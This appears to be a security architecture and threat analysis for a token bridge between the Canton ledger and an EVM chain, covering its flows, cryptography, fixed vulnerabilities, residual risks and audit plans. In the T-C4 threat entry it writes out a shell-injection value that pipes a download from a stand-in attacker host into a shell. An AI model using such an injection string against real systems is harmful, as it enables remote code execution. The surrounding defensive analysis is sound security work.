Canton-EVM Bridge

Security Architecture & Threat Analysis

01Executive Summary

What This System Does

The Canton-Zenith Bridge is a two-way token bridge that allows digital assets to move between two distinct financial infrastructure layers: the Canton ledger (a privacy-preserving, enterprise-grade distributed ledger built on Daml) and the Zenith EVM (an Ethereum-compatible blockchain). A user with assets on Canton can "bridge in" to receive equivalent ERC-20 tokens on the EVM; those tokens can later be "bridged out" to reclaim the original Canton assets. At no point are assets duplicated: the Canton-side tokens are held in escrow for the duration of their EVM representation, and the EVM tokens are burned before the Canton escrow is released.

The bridge is designed for regulated, institutional use. It uses a multi-party validator threshold (M-of-N) rather than trusting any single operator. Every mint on the EVM requires cryptographic signatures from at least M independent validators. Every Canton escrow release requires the same M-of-N threshold, verified in Daml smart contract code. Admin operations on the EVM are time-locked behind a 48-hour governance delay, enforced by a TimelockController controlled by a Safe multisig.

Atomicity is enforced at the Daml transaction layer using Canton's externalCall primitive, which embeds the EVM transaction submission inside the same Canton transaction as the escrow state change.

Current Security Posture

All critical and high vulnerabilities identified during the red-team review phase have been remediated. The system has moved from a devnet-only proof-of-concept (with hardcoded private keys, unauthenticated endpoints, and shell injection) to a hardened architecture with authenticated endpoints, HSM-ready key management, mutual TLS, AML/sanctions screening, SQLite-backed replay prevention, and supply parity monitoring.

The architecture is not yet production-ready. It requires external security audits (Solidity, Daml, backend, cryptographic protocol), completion of the BridgeOperator external party migration, and deployment of production HSM key storage.

Key Risks and Mitigations

RiskMitigationResidual
Unlimited EVM mintingM-of-N validator threshold (EVM + Canton), BRIDGE_KEY from env, BRIDGE_API_KEY authExternal audit pending
Canton escrow drained without authorityM-of-N secp256k1 in VerifiedBridgeOut, intentHash bound to escrow CIDExternal audit pending
Admin key compromiseTimelockController 48h delay on EVM; ValidatorConfigProposal M-of-N on CantonSingle BridgeAdmin key on Canton
Cross-deployment sig replaybridgeVaultAddress + chainId in intent hashNone
Stuck bridge fundsSupply parity monitor, recovery runbook, 1-hour escrow expiry with user cancellationNo persistent operation journal
Validator collusionMinimum M colluders required; Safe governs validator set changesDepends on M/N choice
02System Architecture

Component Overview

+---------------------------------------------------------------------+
|                         Canton Ledger                               |
|  +--------------------------------------------------------------+   |
|  | Bridge.daml contracts                                        |   |
|  |  BridgeWorkflow  BridgeRegistry  AddressMapping              |   |
|  |  BridgeOperation BridgeEscrowHolding ValidatorConfigProposal |   |
|  +--------------------------------------------------------------+   |
|  Parties: EndUser · BridgeOperator · TokenIssuer · Validator1/2     |
+---------------------------+------------------------------------------+
                            | Canton HTTP Ledger API v2
+---------------------------v------------------------------------------+
|                      Bridge Backend (Node.js)                       |
|  +---------------------+  +--------------------------------------+  |
|  |  coordinator.js     |  |  canton-http-client.js               |  |
|  |  settlement-intent  |  |  bridge-reactor.js                   |  |
|  |  nonce-store-sqlite |  |  supply-parity-monitor.js            |  |
|  |  sanctions-screener |  |  canton-signer.js (HSM / KMS)        |  |
|  +----------+----------+  +--------------------------------------+  |
|             | mTLS (mutual cert auth)                               |
|  +----------v-----------------------------------------------------+ |
|  |  Validator Nodes (N)                                           | |
|  |  POST /api/sign-settlement-intent  (rate-limited, mTLS auth)  | |
|  |  secp256k1 signing via SoftwareKeySigner / KmsSigner           | |
|  +----------------------------------------------------------------+ |
+---------------------------+------------------------------------------+
                            | eth_sendRawTransaction / eth_call
+---------------------------v------------------------------------------+
|                         Zenith EVM                                  |
|  +---------------------------+  +--------------------------------+   |
|  |  BridgeVault.sol          |  |  BridgedToken.sol              |   |
|  |  M-of-N ecrecover         |  |  Beacon-upgradeable ERC-20     |   |
|  |  EIP-712 MintIntent       |  |  onlyMinter (=BridgeVault)     |   |
|  |  usedIntents mapping      |  |  ERC-7201 storage              |   |
|  +----------+----------------+  +--------------------------------+   |
|             |                                                        |
|  +----------v---------------------------------------------------+   |
|  |  Safe multisig --> TimelockController (48h) --> BridgeVault  |   |
|  +--------------------------------------------------------------+   |
+---------------------------------------------------------------------+

Technology Stack

LayerTechnology
Canton ledgerDaml/Canton 3.5, patched externalCall primitive (ZenithVB)
EVM contractsSolidity ^0.8.20, Foundry/Forge, OpenZeppelin v5
Bridge backendNode.js 20+, ethers.js, @noble/secp256k1, better-sqlite3
Key managementSoftwareKeySigner (devnet), KmsSigner/AWS KMS (production)
EVM GovernanceSafe multisig + OpenZeppelin TimelockController
Build systemPodman containers, just task runner
MonitoringSSE supply parity alerts, structured logging

Trust Boundaries

ComponentCan DoCannot Do
EndUserAllocate own holdings, sign bridge requestsRelease others' escrows, update address mappings unilaterally
BridgeOperatorExercise BridgeIn/VerifiedBridgeOut, manage registryMint EVM tokens (requires BridgeVault threshold)
Validator nodeSign settlement intents (secp256k1)Unilaterally release escrow below threshold
CoordinatorAggregate signatures, submit to Canton and EVMForge valid sig bundles without M validator compromises
BridgeVaultMint tokens if M-of-N sigs validMint without threshold, bypass replay check
TimelockControllerExecute governance actions after 48h delayBypass delay
Safe multisigPropose governance actions, emergency pauseExecute immediately (subject to timelock)
03Bridge-In Flow (Canton → EVM)

A user locks their Canton tokens, the bridge verifies the lock, collects cryptographic approval from multiple independent validators, and mints an equivalent number of ERC-20 tokens on the EVM.

0
Pre-conditions
BridgeRegistry with bridgeInEnabled=true; AddressMapping (EndUser Canton party ↔ EVM address); BridgeWorkflow.validatorPubKeys = [V1…VN], threshold = M; BridgeVault.validatorSet = same validator addresses, threshold = M.
1
EndUser holds FungibleHolding on Canton
Contract: FungibleHolding { owner=EndUser, issuer=TokenIssuer, amount }.
Only owner can Split/Allocate; issuer+owner are co-signatories.
2
EndUser allocates (CIP-56 lock)
Choice: FungibleHolding.Allocate(beneficiary=BridgeOperator). FungibleHolding archived; LockedHolding + Allocation created. Browser uses WebCrypto Ed25519 (CIP-103); headless uses SoftwareKeySigner via ENDUSER_SIGNING_KEY.
Only owner can Allocate; locked holding cannot be spent or transferred while in allocation.
3
CantonWatcher detects new Allocation
Bridge backend polls Canton HTTP API /v2/state/active-contracts. Backend runs as BridgeOperator party with CANTON_JWT credential.
4
Coordinator constructs and verifies SettlementIntent
Intent: { version=1, escrowContractId, recipient=EVM_addr, amount, assetId, nonce, deadline, bridgeVaultAddress, chainId }. coordinator.verifyBridgeInIntent() fetches canonical BridgeOperation from Canton ACS and asserts intent fields match on-chain data. Nonce assigned from SQLite-backed NonceStore (persists across restarts).
Prevents a compromised coordinator from substituting different mint parameters.
5
Coordinator collects M-of-N validator signatures
Parallel HTTPS POST to /api/sign-settlement-intent on each validator. Auth: mTLS mutual certificate authentication (devnet fallback: X-Coordinator-Secret). Rate limited: 20 req/min. Signing: secp256k1.sign(sha256(keccak256(encodeIntent))). Coordinator verifies each signature locally before counting; deduplicates by public key.
Fewer than M valid signatures → operation aborted. Coordinator cannot manufacture valid signatures without M private keys.
6
Coordinator calls BridgeVault.executeMint()
EVM checks (all atomic): !paused, block.timestamp ≤ deadline, !usedIntents[intentId], EIP-712 digest, sorted sigs ascending, each signer in validatorSet, validCount ≥ threshold, usedIntents[intentId] = true, ReentrancyGuard. s-value malleability rejected; DOMAIN_SEPARATOR bound to immutable chainId.
7
BridgeVault calls BridgedToken.mint(to, amount)
Only BridgeVault (bridgeMinter) may call mint() — onlyMinter modifier. ERC-20 totalSupply increases.
8
Atomicity via ZenithVB externalCall
In the atomic BridgeWorkflow.BridgeIn choice: (a) settle allocation, (b) DepositToEscrow with 1-hour expiry, (c) DelegatedApplyTransactionWithReceipt submits EVM mint, (d) assertMsg "EVM execution failed" receipt.success, (e) BridgeOperation record created. If ANY step fails: entire Canton transaction rolls back.
Atomicity guarantee: tokens locked in Canton escrow ↔ tokens minted on EVM (or neither).

Failure Modes and Recovery

FailureEffectRecovery
EVM mint fails (gas, RPC error)Canton tx rolls back; tokens remain allocatedUser retries from Step 2
Coordinator crashes after collecting sigsSigs lost; Canton not yet submittedRe-collects sigs with new intent (new nonce/deadline)
BridgeEscrowHolding stuckSupply parity delta > 0 (alert fires)Cancel via /api/admin/recovery/cancel-bridge-in after expiry
04Bridge-Out Flow (EVM → Canton)

A user burns their EVM tokens, the bridge collects cryptographic approval from multiple validators, and releases the equivalent Canton escrow back to the user.

1
User signs EVM burn transaction
User's wallet calls BridgedTokenV1.burn(amount). Signed with MetaMask / Fireblocks in browser, or ENDUSER_SIGNING_KEY headless for testing. No on-chain state change yet.
User burns own tokens — no bridge vault authority required.
2
User POSTs signed burn tx to bridge backend
Endpoint: POST /api/bridge/bridge-out-request. Auth: BRIDGE_API_KEY Bearer token required. Payload: { signedBurnTx, escrowContractId, recipient, amount, assetId }. AML sanctions screening on recipient Canton party and EVM address.
3
Bridge submits burn tx to EVM, waits for confirmation
eth_sendRawTransaction; waits for block finalization. Bridge parses burn event (not just tx success) to extract authoritative amount from EVM logs — cross-checked against user-supplied amount.
Prevents underburn attacks where user supplies different amount from what was actually burned.
4
Coordinator constructs SettlementIntent for bridge-out
Intent includes escrowContractId (BridgeEscrowHolding CID), evmBurnTxHash+logIndex, amount from burn event, bridgeVaultAddress, chainId. escrowContractId binds intent to specific on-chain escrow.
5
Coordinator collects M-of-N validator signatures
Same as bridge-in Step 5. Validators sign sha256(intentHash) with secp256k1. Coordinator verifies locally; deduplicates by pubkey.
6
Coordinator submits VerifiedBridgeOut to Canton
Atomic checks: intent deadline, M-of-N secp256k1 verification (DA.Crypto.Text.secp256k1), intentEscrowContractId == show escrowHoldingCid (sig bundle bound to specific escrow), custodian check, registry check, atomic EVM execution via DelegatedApplyTransactionWithReceipt, BridgeEscrowHolding.ReleaseFromEscrow creates ReleaseProposal.
7
EndUser accepts ReleaseProposal on Canton
User exercises ReleaseProposal.Accept. FungibleHolding created with owner=EndUser. Two-step design ensures explicit user consent; tokens cannot be silently redirected after release.

Failure Modes and Recovery

FailureEffectRecovery
EVM burn failsCanton tx not submitted; user still holds EVM tokensUser corrects and retries
Canton submission fails (timeout)EVM burned, Canton escrow NOT releasedRe-POST /api/bridge/bridge-out-request; fresh sigs with new deadline
Intent deadline expiredVerifiedBridgeOut rejectedRe-collect with fresh intent (new nonce + deadline)
Coordinator crash after EVM burnEVM burned, Canton pendingRestart; re-POST bridge-out-request (EVM rejects duplicate tx)
05Cryptographic Architecture

Key Types by Role

RoleKey SchemeUsage
Validator (settlement signing)secp256k1 (compressed, 33 bytes)Sign SettlementIntents; verified by BridgeVault ecrecover and DA.Crypto.Text.secp256k1
BridgeOperator (post-migration)Ed25519 (32 bytes)Sign Canton interactive submission txs via PartyToKeyMapping threshold
EndUser (Canton signing)Ed25519 (32 bytes)Sign Canton bridge-in / bridge-out txs (CIP-103 interactive submission)
Safe ownersecp256k1 EOAApprove Safe multisig governance proposals

Signing Convention: Double-Hash

intentHash    = keccak256(encodeIntent(intent))       [32 bytes]
signingDigest = sha256(intentHash)                    [32 bytes]
signature     = secp256k1.sign(signingDigest, privKey) [64 bytes compact]

Coordinator verification:  secp.verify(sig, sha256(intentHash), pubKey)

Canton in-contract (DA.Crypto.Text.secp256k1):
  Crypto.secp256k1(sig, intentHash, pk)
  -- internally computes sha256(bytes(intentHash)) then ECDSA verify

EVM BridgeVault (EIP-712 ecrecover):
  keccak256("\x19\x01" || DOMAIN_SEPARATOR || structHash(MintIntent))
  -- separate signing path for EVM lane

SettlementIntent Encoding

Fields (in order, deterministic encoding):
  version             : uint32 BE (= 1)
  escrowContractId    : len(uint32 BE) + UTF-8 bytes
  recipient           : len(uint32 BE) + UTF-8 bytes
  amount              : uint64 BE (base units, BigInt)
  assetId             : len(uint32 BE) + UTF-8 bytes
  nonce               : uint64 BE
  deadline            : uint64 BE (Unix milliseconds)
  bridgeVaultAddress  : len(uint32 BE) + UTF-8 bytes  <-- cross-deployment binding
  chainId             : uint64 BE                       <-- cross-chain binding

intentHash = keccak256(encodedBytes)

M-of-N Threshold: Dual Layer

LayerLocationMechanismKey Type
EVM (mint)BridgeVault.executeMintEIP-712 + ecrecover; sorted sig array; usedIntents replay preventionsecp256k1
Canton (escrow release)VerifiedBridgeOutDA.Crypto.Text.secp256k1 in-contract; dedup by pubkey; intentEscrowContractId bindingsecp256k1
Canton (tx submission, post-migration)PartyToKeyMapping topologyCanton protocol-level threshold; M Ed25519 sigs required for BridgeOperator txsEd25519
06Smart Contract Security (EVM)

BridgeVault.sol

PropertyImplementation
Replay preventionusedIntents[intentId] = true before calling mint; IntentAlreadyUsed reverts on duplicate
Signature deduplicationSignatures sorted ascending by recovered address; DuplicateSigner reverts on collision
s-value malleabilityExplicit check: uint256(s) ≤ 0x7FFF...A0; non-canonical signatures rejected
Chain bindingDOMAIN_SEPARATOR computed from immutable _chainId = block.chainid
Cross-contract bindingDOMAIN_SEPARATOR includes address(this) — sig bundles are vault-address-specific
Emergency pausePAUSER_ROLE for instant pause; only owner can unpause (deliberate recovery)
ReentrancyReentrancyGuard (nonReentrant) on executeMint
Ownership transferOwnable2Step — two-step transfer prevents accidental ownership loss
Mint authority migrationtransferMintAuthority(newVault) calls IBridgedToken.setMinter(newVault) atomically; old vault self-revokes

BridgedToken.sol (BridgedTokenV1)

PropertyImplementation
Upgrade safetyUpgradeableBeacon + BeaconProxy; one beacon upgrade updates all asset proxies atomically
Storage isolationERC-7201 namespaced storage; no slot collision on upgrade
Sole mint authorityonlyMinter modifier; bridgeMinter stored in namespaced storage
Atomic minter handoffsetMinter(newMinter) callable only by current minter; self-revokes atomically
Emergency pausePAUSER_ROLE for instant pause; onlyOwner for unpause

TimelockController

  • Minimum delay: 172,800 seconds (48 hours)
  • PROPOSER_ROLE: Safe multisig
  • CANCELLER_ROLE: Safe multisig (abort window for malicious proposals)
  • EXECUTOR_ROLE: address(0) — anyone can execute after delay
  • TIMELOCK_ADMIN_ROLE: address(0) — self-governing, no superadmin

Test Coverage

42 Forge unit tests across BridgeVault, BridgedToken, TimelockController integration, and upgrade scenarios. Supply invariant fuzz test: 256 runs × 128,000 calls verifying totalSupply never exceeds total minted minus total burned.

07Canton / Daml Security

VerifiedBridgeOut (production bridge-out path)

The only permitted bridge-out path in production (devMode = False). Enforces atomically:

  1. Intent expiry: now ≤ intentDeadline
  2. M-of-N secp256k1: DA.Crypto.Text.secp256k1(sig, intentHash, pk) for each (pk, sig); dedup prevents one validator counting twice
  3. Escrow binding (Fix 1): show escrowHoldingCid == intentEscrowContractId — sig bundle bound to specific escrow contract ID; cannot release a different escrow
  4. Custodian check: holding.custodian == admin
  5. Registry check: !globalPaused, asset.bridgeOutEnabled
  6. Atomic EVM execution: burn tx submitted via DelegatedApplyTransactionWithReceipt; asserts receipt.success

BridgeEscrowHolding

  • Contains evmBurnTxHash + evmBurnLogIndex for unique identification (prevents confusion between concurrent bridge-outs of equal amounts)
  • expiresAt: 1 hour from creation; user cancels after expiry via CancelBridgeIn; admin force-cancels at any time

AddressMapping — Fix 3

UpdateEvmAddress requires both admin AND cantonParty as controllers. A compromised admin cannot silently redirect bridge-in recipients without the end user's co-signature.

ValidatorConfigProposal

Validator pubkey rotation uses multi-party approval: requires adminApprovalThreshold approvals from bridgeAdmins list. Single compromised admin key cannot rotate validator set.

Legacy BridgeOut — Gated

The legacy BridgeOut choice (no validator sigs, admin-only) is gated behind devMode == True. Production deployments must set devMode = False.

DA.Crypto.Text Alpha API

DA.Crypto.Text.secp256k1 is the sole alpha API in use (warning suppressed with -Wno-crypto-text-is-alpha). Migration plan documented in deploy/docs/daml-alpha-api-tracking.md. Behavior expected to be preserved when stable API is released.

External Party Migration (Scaffolded)

LayerBeforeAfter Migration
BridgeOperator keysParticipant node (hosted)Each validator holds one Ed25519 key
Transaction submissionsubmitCommands (single auth)prepare → collect M-of-N Ed25519 sigs → executeAndWait
Canton topology enforcementNonePartyToKeyMapping threshold = M
In-contract secp256k1ActiveActive (unchanged)
08Backend Security

API Authentication

Endpoint GroupAuth Required
POST /api/bridge/* (bridge-in, bridge-out)BRIDGE_API_KEY (Bearer)
POST /api/canton/* (prepare, submit)BRIDGE_API_KEY (Bearer)
POST /api/canton/headless/* (CI/testing)BRIDGE_API_KEY (Bearer)
GET/POST /api/admin/* (supply parity, recovery)ADMIN_API_KEY (Bearer)
POST /api/sign-settlement-intent (validator)mTLS (prod) / X-Coordinator-Secret (devnet)

Key Management

KeyHow LoadedStartup Behavior if Missing
BRIDGE_KEYEnvironment variable onlyServer refuses to start
ENDUSER_SIGNING_KEYEnvironment variable onlyHeadless endpoint unavailable
BRIDGE_API_KEYEnvironment variable onlyAll bridge endpoints return 401
ADMIN_API_KEYEnvironment variable onlyAll admin endpoints return 401
FIREBLOCKS_WEBHOOK_SECRETEnvironment variable onlyServer refuses to start

No keys are hardcoded. Production validators use KmsSigner (VALIDATOR_HSM_PROVIDER=aws-kms) — the raw private key never leaves hardware.

Rate Limiting

EndpointLimit
POST /api/sign-settlement-intent20 requests/min per IP
All /api/bridge/* endpoints10 requests/min per IP

Shell Injection — Fixed

coordinator.js previously used execSync with string-interpolated intent fields. Fixed to execFileSync(binary, argv_array) — no shell is invoked; metacharacters in argv values cannot be interpreted.

Nonce Store — SQLite Persistence

Validator nonce store backed by SQLite (NONCE_DB_PATH). Nonces persist across restarts; a restart does not open a replay window. Each nonce is marked used atomically before signing.

Fireblocks Webhooks

  • v2 format required (v1 deprecated June 15 2026 — already migrated)
  • HMAC computed over timestamp + "." + rawBody with FIREBLOCKS_WEBHOOK_SECRET (required at startup)
  • Timestamp freshness window: 5 minutes
  • HMAC comparison uses crypto.timingSafeEqual (timing-safe)

mTLS: Coordinator ↔ Validators

Coordinator uses a mutual TLS HTTPS Agent (COORDINATOR_CERT_PATH, COORDINATOR_KEY_PATH, VALIDATOR_CA_CERT_PATH). Certificate setup documented in deploy/docs/mtls-setup.md. Devnet fallback (X-Coordinator-Secret) is explicitly logged at startup and must not be used in production.

AML / Sanctions Screening

All bridge requests screened against AML/sanctions databases before processing. Supported providers: Chainalysis, Elliptic, mock (testing). Sanctioned addresses rejected with 403 before any Canton or EVM operations are initiated.

BigInt Arithmetic

All token amounts use JavaScript BigInt throughout the coordinator and server. Floating-point representations (Math.round(amount * 1e10)) fully replaced. No precision loss possible in amount encoding, intent hashing, or EVM calldata.

09Operational Security

Supply Parity Monitor

Continuously compares BridgedToken.totalSupply() on EVM against the sum of all BridgeEscrowHolding.amount values on Canton. Any discrepancy indicates a stuck bridge operation. Alerts sent via SSE to GET /api/admin/supply-parity. Triggers recovery procedures documented in deploy/docs/recovery-runbook.md.

Validator Set Synchronization

CLI sync tool (just sync-validators) detects and reports mismatches between EVM BridgeVault.validatorSet and Canton BridgeWorkflow.validatorPubKeys. Out-of-sync sets cause SignerNotValidator errors on EVM or signature threshold failures on Canton.

Transaction Recovery Runbook

Stuck bridge-in (Canton locked, EVM mint failed)

  1. Detect via supply parity alert (delta > 0) or stale escrow scan
  2. Verify EVM mint did not succeed (check EVM logs)
  3. Cancel via POST /api/admin/recovery/cancel-bridge-in with escrow contract ID
  4. User accepts ReleaseProposal to reclaim FungibleHolding

Stuck bridge-out (EVM burned, Canton release not submitted)

  1. Detect via EVM burn events cross-referenced against Canton ACS
  2. Re-POST to POST /api/bridge/bridge-out-request with original burn tx
  3. Coordinator re-collects fresh M-of-N sigs with new deadline
  4. VerifiedBridgeOut submits; user accepts ReleaseProposal

HSM Key Storage

ProviderClassStatus
SoftwareKeySignerRaw private key in process memoryDevnet Only
KmsSignerAWS KMS (kms:Sign); key never leaves hardwareAvailable
HsmSigner (PKCS#11)Hardware security moduleStub
HsmSigner (Azure Key Vault)Azure Key Vault Premium (HSM-backed)Stub
10Threat Analysis

Click any row to expand attack vector and mitigation details.

SeverityThreatStatus
CriticalT-C1: Sig Bundle Recycling — VerifiedBridgeOut drains any escrowFixed

A valid M-of-N sig bundle collected for escrow A (small amount) replayed against escrow B (large amount). intentHash was caller-supplied with no binding to the actual escrow being consumed. Bridge.daml VerifiedBridgeOut did not cross-check intentHash against fetched holding fields.

Fix 1: intentEscrowContractId binding. In-contract assertion: show escrowHoldingCid == intentEscrowContractId. Coordinator encodes escrowContractId in intent pre-image. Sig bundle is bound to the specific escrow contract ID actually being consumed.

CriticalT-C2: Hardcoded Private Key — Unlimited Token MintingFixed

server.js hardcoded BRIDGE_KEY as Anvil devnet key #0 (0xac0974...) — a universally known test credential. Anyone with access to the server or the public key could mint arbitrary tokens by controlling the bridge EOA.

BRIDGE_KEY loaded exclusively from environment variable. Server fails hard at startup (process.exit(1)) if BRIDGE_KEY or ENDUSER_SIGNING_KEY are missing. Production deployments use KmsSigner — key never exists as plaintext.

CriticalT-C3: Unauthenticated Bridge Endpoints — Arbitrary Bridge OperationsFixed

POST /api/bridge-in and /api/bridge-out accepted requests from any unauthenticated caller. Amount came from req.body with only a positivity check. External attacker could trigger arbitrary EVM minting and Canton escrow releases.

BRIDGE_API_KEY Bearer token required on all /api/bridge/* and /api/canton/* endpoints. Missing or incorrect token returns 401.

CriticalT-C4: Shell Injection via Intent Fields (RCE on Coordinator)Fixed

coordinator.js submitSettlement() built a shell command by string-interpolating intent fields into execSync(). evmBurnTxData containing ; curl attacker.com | sh would achieve full RCE on the coordinator host.

Replaced execSync(shell-string) with execFileSync(binary, argv_array). No shell is invoked; metacharacters in argv values cannot be interpreted by the OS shell.

HighT-H1: Settlement Intent Replay Across DeploymentsFixed

A sig bundle collected on one bridge deployment (testnet) replayed on another (mainnet) sharing the same validator keys but different BridgeVault address.

bridgeVaultAddress and chainId included in encodeIntent() and bound into intentHash. A signature is deployment-specific and chain-specific.

HighT-H2: Canton Ledger API Proxy Endpoints UnauthenticatedFixed

Internal Canton Ledger API endpoints proxied at /api/canton/interactive-submission/* with no authentication, allowing unauthorized party onboarding and transaction submission.

Legacy proxy routes removed. All Canton HTTP API routes require BRIDGE_API_KEY. Only connected-synchronizers state endpoint remains proxied.

HighT-H3: Fireblocks Webhook SpoofingFixed

FIREBLOCKS_WEBHOOK_SECRET was optional — if unset, all webhooks accepted unauthenticated. String equality HMAC comparison vulnerable to timing oracle attacks allowing secret recovery.

Secret required at startup (server exits if missing). v2 HMAC format (timestamp + "." + rawBody). crypto.timingSafeEqual for comparison. 5-minute timestamp freshness window.

HighT-H4: Float Precision on Token Amounts (Supply Drift / Double-Spend)Fixed

BigInt(Math.round(amount * 1e10)) introduced floating-point precision loss. Supply parity invariant could drift; carefully crafted amounts could cause double-spend scenarios.

All token amounts use native BigInt arithmetic throughout. No floating-point operations on amounts anywhere in coordinator or server.

MediumT-M1: In-Memory Nonce Store Replay After RestartFixed

nonce-store.js stored nonces in process memory. Process restart reset the nonce counter. Attacker resubmitting a previous intent with nonce=0 and a future deadline would succeed after validator restart.

SQLite-backed nonce store (NONCE_DB_PATH). Nonces persist across restarts. addNonce() is atomic and idempotent.

MediumT-M2: HMAC Timing OracleFixed

Fireblocks webhook HMAC compared with === (JavaScript string equality). Not constant-time — enables statistical timing attacks to recover the webhook secret byte-by-byte.

crypto.timingSafeEqual used for all HMAC comparisons. Comparison is constant-time regardless of where strings diverge.

MediumT-M3: Legacy BridgeOut — Admin-Only Escrow Release (No Validator Sigs)Fixed

BridgeOut choice in Bridge.daml had no validator signature requirement. A single compromised BridgeAdmin party key could release any escrow to any Canton party without M-of-N approval.

BridgeOut gated behind devMode == True. Production deployments set devMode = False; only VerifiedBridgeOut is active.

MediumT-M4: AddressMapping Admin Redirect (Steal Bridge-In Recipients)Fixed

AddressMapping.UpdateEvmAddress was admin-controlled alone. A compromised admin could silently redirect bridge-in EVM recipients to an attacker address, stealing incoming funds.

UpdateEvmAddress requires both admin and cantonParty as controllers (Fix 3). User must co-sign address updates — admin alone cannot redirect.

MediumT-M5: Admin Routes Unauthenticated (State Exposure)Fixed

Admin routes (/api/admin/events, /api/admin/supply-parity, /api/admin/validator-set) mounted with no authentication, exposing bridge state, validator set, and Canton escrow data to any caller.

ADMIN_API_KEY Bearer token required on all /api/admin/* routes. Missing or incorrect token returns 401.

LowT-L1: secp256k1 s-Value Malleability in ecrecoverFixed

ecrecover in BridgeVault._recoverSigner() accepted high-s signatures (non-canonical). An attacker could submit a second valid-but-different signature for the same intent, potentially interfering with duplicate-signer detection.

Explicit high-s check per EIP-2: require(uint256(s) ≤ 0x7FFF...A0, "Invalid s-value"). Also requires v == 27 || v == 28. New Forge test covers high-s rejection.

LowT-L2: transferMintAuthority — Old Vault Retains Mint RightsFixed

transferMintAuthority() previously only emitted an event. Both old and new vaults could mint tokens simultaneously after a vault migration.

transferMintAuthority() now calls IBridgedToken(bridgedToken).setMinter(newVault) — atomically moves the minter role in one transaction. Old vault self-revokes.

Residual Risks

R-2: BridgeOperator Still Participant-Hosted High Until Fixed

BridgeOperator remains a participant-hosted party. A single participant compromise gives full Canton-side control. External party migration (topology threshold M-of-N) is scaffolded but not yet active.

Action: Complete external party migration per deploy/docs/external-party-migration.md before production launch.

R-4: No Production HSM Deployed High Until Fixed

KmsSigner (AWS KMS) is available and documented. SoftwareKeySigner uses process memory — vulnerable to memory dumps and container extraction. PKCS#11 / Azure Key Vault stubs exist but are not implemented.

Action: Set VALIDATOR_HSM_PROVIDER=aws-kms on all production validators before launch.

R-3: Coordinator Shared-Secret Fallback in Devnet Devnet Only

When mTLS cert paths are not set, coordinator falls back to X-Coordinator-Secret header. Explicitly logged at startup. Must not be active in production.

Action: Provision TLS certificates per deploy/docs/mtls-setup.md.

R-1: DA.Crypto.Text Alpha API Tracked

DA.Crypto.Text.secp256k1 is marked alpha. Migration plan documented. Function checked against each SDK upgrade.

Action: Review Daml SDK release notes before each upgrade.

Governance Attack Vectors

G-1: Safe Multisig Compromise (EVM)

If a Safe owner key quorum is compromised, an attacker can propose any governance action. The 48-hour TimelockController delay provides detection and response window. Any Safe owner can submit cancel() to abort a scheduled operation. Response team must act within 48 hours. Recommended: 3-of-5 Safe with hardware wallets, geographically distributed owners.

G-2: Single BridgeAdmin Key (Canton)

Canton BridgeAdmin is currently a single key. Compromise grants full BridgeRegistry and AddressMapping control. However, validator config changes now require multi-party approval (ValidatorConfigProposal) — a single compromised key cannot rotate validator keys. Residual risk: Medium until external party migration completes.

G-3: Validator Collusion Below Threshold

If exactly M validators collude, they can forge arbitrary SettlementIntent signatures — minting unlimited EVM tokens or releasing any Canton escrow. M/N should be > 2/3 for meaningful security. Minimum recommended for mainnet: 3-of-5, operated by independent organizations, geographically distributed.

11Pending External Audits

Six audits are required before the bridge handles real funds, listed in priority order.

Critical

Solidity Smart Contract Audit

Scope: BridgeVault.sol, BridgedToken.sol, MinimalMultisig.sol, all deployment scripts. Focus: reentrancy, EIP-712 correctness, ecrecover edge cases, Beacon proxy upgrade safety, TimelockController integration, access control, integer arithmetic, supply invariant. Recommended: Trail of Bits, OpenZeppelin, Spearbit.

Critical

Daml / Canton Contract Audit

Scope: Bridge.daml, Token.daml, ZenithVB.daml; Canton authorization model; CIP-56 allocation mechanics; externalCall integration. Focus: VerifiedBridgeOut sig verification, intentEscrowContractId binding, CancelBridgeIn timing, ValidatorConfigProposal flow, DA.Crypto alpha risk. Recommended: Digital Asset partner audit network.

High

Backend Penetration Test

Scope: All webapp/ API endpoints, coordinator.js, admin-routes.js, Fireblocks webhook handler, mTLS configuration, AML integration. Focus: auth bypass, command injection residuals, SSRF via coordinator fan-out, webhook HMAC bypass, rate limit bypass, nonce replay via SQLite manipulation, information disclosure.

High

Cryptographic Protocol Audit

Scope: settlement-intent.js, canton-signer.js, BridgeVault EIP-712, Bridge.daml DA.Crypto usage. Focus: double-hash convention correctness across all implementations, intent encoding determinism, cross-chain replay after hard fork, cross-direction replay (bridge-in sigs used for bridge-out), intentEscrowContractId binding completeness.

High

Regulatory Compliance Review

Scope: Full bridge operational model, AML/KYC integration, FATF Travel Rule applicability, OFAC screening, data residency, audit trail completeness. Deliverable: Gap-to-compliance matrix and remediation plan for applicable framework (MiCA, FinCEN, MAS, etc.).

High

Key Management Attestation

Scope: key-ceremony.md, hsm-setup.md, Safe multisig key distribution, BridgeAdmin key custody. Focus: tamper-resistant key generation, witness attestation, hardware wallet usage, key rotation testing, incident response documentation. Deliverable: Key custody attestation document for financial regulators and institutional partners.

12Production Readiness Checklist

All items must be complete before the bridge handles real user funds.

External Security Reviews
External Solidity smart contract audit complete + all critical/high findings remediated
External Daml/Canton contract audit complete + all critical/high findings remediated
Backend penetration test complete + all critical/high findings remediated
Cryptographic protocol audit complete + findings addressed
EVM Governance and Contracts
TimelockController deployed to mainnet with 48-hour minimum delay
Safe multisig deployed with ≥3-of-5 hardware-wallet owners, geographically distributed
BridgeVault ownership transferred to TimelockController (Safe as proposer)
Deployer PROPOSER_ROLE revoked from TimelockController via Safe proposal
All validators registered in BridgeVault via Safe proposals; validatorCount verified
Supply invariant fuzz test run against deployed contracts; passing
Canton / Daml
devMode = False in all production BridgeWorkflow deployments (BridgeOut disabled)
BridgeOperator migrated to external party with PartyToKeyMapping threshold active
Topology threshold verified: submitCommands rejected for BridgeOperator post-migration
ValidatorConfigProposal M-of-N admin approval flow tested end-to-end
DA.Crypto.Text alpha API reviewed against current Daml SDK; no breaking changes
Key Management
All production validators using HSM-backed key storage (KmsSigner or equivalent); SoftwareKeySigner disabled
Key ceremony documented and completed with witness attestation
KMS key policies restrict kms:Sign to validator IAM roles only
Key rotation procedure tested in staging environment
Backend and Infrastructure
mTLS active between coordinator and all validators (cert paths set; shared-secret fallback disabled)
Persistent nonce store deployed (NONCE_DB_PATH pointing to persistent volume)
All required env vars present and validated at startup (BRIDGE_KEY, BRIDGE_API_KEY, ADMIN_API_KEY, FIREBLOCKS_WEBHOOK_SECRET)
AML/sanctions screening live with production provider (Chainalysis or Elliptic); mock provider disabled
Rate limiting active and tuned for production traffic
Fireblocks v2 webhooks deployed and tested (migrated; deadline June 15 2026)
Monitoring and Operations
